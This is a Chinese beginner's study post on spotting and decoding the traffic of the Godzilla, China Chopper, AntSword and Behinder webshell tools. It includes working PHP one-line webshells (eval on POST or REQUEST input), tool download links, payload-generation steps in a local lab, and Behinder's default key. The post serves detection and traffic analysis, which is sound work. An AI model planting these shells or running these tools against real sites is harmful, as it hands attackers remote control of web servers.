Webshell的流量特征及解密
写在前面:
各位师傅们好,小白刚刚接触这一部分内容,许多地方还是一知半解,写下这篇文章也是为了以后深入学习有个参考。在您阅读的过程中,如果有发现我的错误,希望师傅们可以指出!
baimi拜谢师傅们!**
一句话木马
在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此,那么一句话木马到底是什么呢?
先来看看最简单的一句话木马:
eval($_POST['attack']); @ |
【基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST[‘attack’]表示从页面中获得attack这个参数值。
入侵条件
其中,只要攻击者满足三个条件,就能实现成功入侵:
(1)木马上传成功,未被杀; |
常见形式
常见的一句话木马:
php的一句话木马: <?php @eval($_POST['pass']);?> |
我们可以直接将这些语句插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。
哥斯拉(Godzilla)
下载地址:
https://github.com/BeichenDream/Godzilla/releases/download/v4.0.1-godzilla/godzilla.jar
哥斯拉有多种加密方式,此处仅有PHP
生成攻击paylode
打开 godzilla.jar,在管理中找到生成,生成一个攻击payload,注意填入密码,及加密类型要记好,连接要用
并将其存放在phpstydy_pro/www目录下
连接webshell
打开小皮面板(phpstudy),开启Apache2.4.39,其他默认即可
在Godzilla.jar的目标中找到添加
http://localhost/1.php |
测试连接则说明配置成功,添加即可
流量分析
特征总结: |
打开wireshark,找到Adapter for loopback traffic capture打开即可,随后在哥斯拉中打开刚才添加的1.php连接,追踪tcp流即可看到
连接过程请求体
请求包长度 53767pass=“#####”
响应包长度:0
共6个http报文,三去三回
连接过程响应体:
Set-Cookie: PHPSESSID=2ljifouhklemf9kd5olunus7lp; path=/
Content-Length: 0
命令执行过程请求体:
pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgA……
72a9c691ccdaab98fL1tMGI4YTljO/79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488
命令执行过程响应体
Set-Cookie: PHPSESSID=2hnrph9b01sd41r5fe59u5tdfe; path=/
加密过程
pass=eval%28base64_decode%28strrev%28urldecode%28
即base64–>strrec字符串逆序–>url编码
解密
url在线加解密——开发者在线工具,工具猫 (toolscat.com)
Base64 编码/解码 - 在线工具 (toolhelper.cn)
中国菜刀(caidao)
攻击paylode
将shell.php放在phpstydy_pro/www/127.0.0.2目录下
eval($_REQUEST[123]) |
连接webshell
打开小皮面板(phpstudy)
成功后就可以开始获取流量包了。
流量分析
在wireshark中和哥斯拉操作相同
共4个http报文,两去俩回
菜刀会伪造 X-Forwarded-For 头,且每一次利用菜刀与webshell建立连接,X-Forwarded-For 都 会变化
解密
将这段 post 请求先进行 url 解码,根据途中断断续续的base64提示,再进行base64解码
蚁剑(AntSword)
攻击paylode
延用菜刀的即可
连接webshell
成功后就可以开始获取流量包了。
流量分析
蚁剑流量特征两大特征
1、默认的 user-agent 请求头是 antsword xxx(可修改)
2、蚁剑的正文内容用URL加密,解密后流量最中明显的特征为ini_set(“display_errors”,”0”);
解密
url解密
@ini_set("display_errors", "0"); |
查看其代码发现有多个危险函数使用,如@ini_set(“display_errors”,“0”)、dirname、get_current_user等,如果再文中发现其他编码的明显特征,要进行二次解码
冰蝎(Behinder)
下载地址
Releases · rebeyond/Behinder (github.com)
生成攻击paylode
打开Behinde.jar,菜单栏有传输协议,选择协议default_XOR_base64,即可生成shell.php和shell.jsp文件
把shell.php复制到phpstydy_pro/www/127.0.0.2目录下
连接webshell
成功后就可以开始获取流量包了。
流量分析
Accept: application/json, text/javascript, /; q=0.01
Content-type: Application/x-www-form-urlencoded
PHP webshell中存在固定代码
$post=Decrypt(file_get_contents("php://input")); |
冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection。
Connection: Keep-Alive
请求字节头:
dFAXQV1LORcHRQtLRlwMAhwFTAg/M
响应字节头:
TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
默认时,所有冰蝎4.0 webshell都有“e45e329feb5d925b” 一串密钥。该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
解密
AES批量加密解密 - 在线工具 (bugscaner.com)
Base64 编码/解码 - 在线工具 (toolhelper.cn)
参考文章: